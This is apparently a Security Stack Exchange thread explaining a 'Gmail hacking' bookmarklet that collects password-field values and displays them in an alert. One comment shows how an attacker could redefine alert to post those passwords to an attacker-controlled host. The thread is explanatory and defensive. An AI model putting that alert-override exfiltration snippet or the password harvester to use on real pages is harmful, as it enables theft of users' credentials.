I have been trying to know what these so called Gmail hacking scripts actually does (just studying for some knowledge purpose) and one of such scripts is this, which seems beyond my knowledge:


De-obfuscated JavaScript:

javascript: (function () {
            var s, F, j, f, i;
           s = "";
           F = document.forms;
            for (j = 0; j {
                f = F[j];
                for (i = 0; i {
                            if (f[i].type.toLowerCase() == "password") s + = f[i].value + "n";
                if (s) alert("Passwords in forms on this page:nn" + s);
                else alert("There are no passwords in forms on this page.");

I was wondering if someone could help me understand this so that I can recognize if someone has injected this JavaScript to my web browser or not?

  • What is your level of javascript knowledge? – schroeder Jun 17 '14 at 19:44
  • 1
    It might also help if you included where you found that script. – schroeder Jun 17 '14 at 19:51
  • 2
    Looks like this script will tell you that it's there via an alert dialog. – Travis Pessetto Jun 17 '14 at 19:56
  • If you're trying to understand what a piece of code does or how it works, you'd be better off asking on a programming-oriented site such as StackOverflow. This site is better suited for asking about the security implications of code you already understand. – Mark Jun 18 '14 at 19:26
  • "just studying for some knowledge purpose"-yeah thats what they say :) – Ebenezar John Paul Jul 30 '14 at 7:34

How to recognize if someone using password Reminder Script?

Well, if passwords appear directly when someone opens a login page!

On a serious note, the javascript you gave here cannot hack your Gmail account, actually, any account given that the alert function used here is the default javascript function and not any other function with the same name defined in some other scripts running which can be dangerous (See drjimbob's comment below to know how it can be dangerous).

Considering that it is the default alert function, it actually searches all input fields of password type and saves its value in one variable and then alert (kind of a dialog box) all the actual values instead of "****" if any password field is present. It is not sending your password to anyone. If you are not getting such alert then this is not injected into your browser. Also, this script wont work unless it is run after the page is loaded.

Also, if you are saving passwords in browser then you can go to preferences and see the saved passwords there (Actual steps depend on the browser being used) if they are also not password protected.

Similar kind of javascripts are frequently spread on social networking sites saying that this javascript can hack your friend's account or something else which when actually run on browser makes comments, posts, likes, share the same javascript and is spread further just to gain attention. Never ever run such scripts as they may also steal your cookies and can be used to login to your account.

Finally, don't save your passwords on public computers and don't let anyone access your personal computer.

| improve this answer | |
  • 1
    "The javascript you gave here cannot hack your account" - that's not necessarily true. An attacker may have early in the page overloaded alert(msg) (a standard JS function that generates a pop-up window with a text message) with something else. For example, try defining alert = function(x) { console.log(x) } and use an alert later on. The attackers version could be something like: alert = function(x) { jQuery.post('http://attacker-controlled-website.tk', {uri: document.baseURI, msg: x}) Then when the alert is called, your password and related info is sent off to the attacker. – dr jimbob Jun 18 '14 at 16:11
  • @drjimbob the modifications to this can be dangerous but the javascript he has posted is not. That's why if you read my answer completely, I have also mentioned about similar scripts which can be harmful. – Chirayu Chiripal Jun 18 '14 at 16:19
  • 2
    I did read your answer. But you rarely execute javascript in a vacuum; there are numerous scripts already running on the page, often from diverse sources -- e.g., on stackexchange I count some 14 scripts running plus JS extensions (granted there's some sandboxing of environments). An attacker potentially could redefine alert in one of those places that would turn this otherwise benign script into something devastating. My point is you can't call a JS snippet "safe" when JS is dynamic enough to let core functions be redefined. – dr jimbob Jun 18 '14 at 17:15
  • @drjimbob Thanks for pointing this out, I have updated my answer a bit to support this and if you feel that something is still missing then feel free to update it. – Chirayu Chiripal Jun 18 '14 at 17:40
  • Much better now. +1 – dr jimbob Jun 18 '14 at 19:45

Not the answer you're looking for? Browse other questions tagged or ask your own question.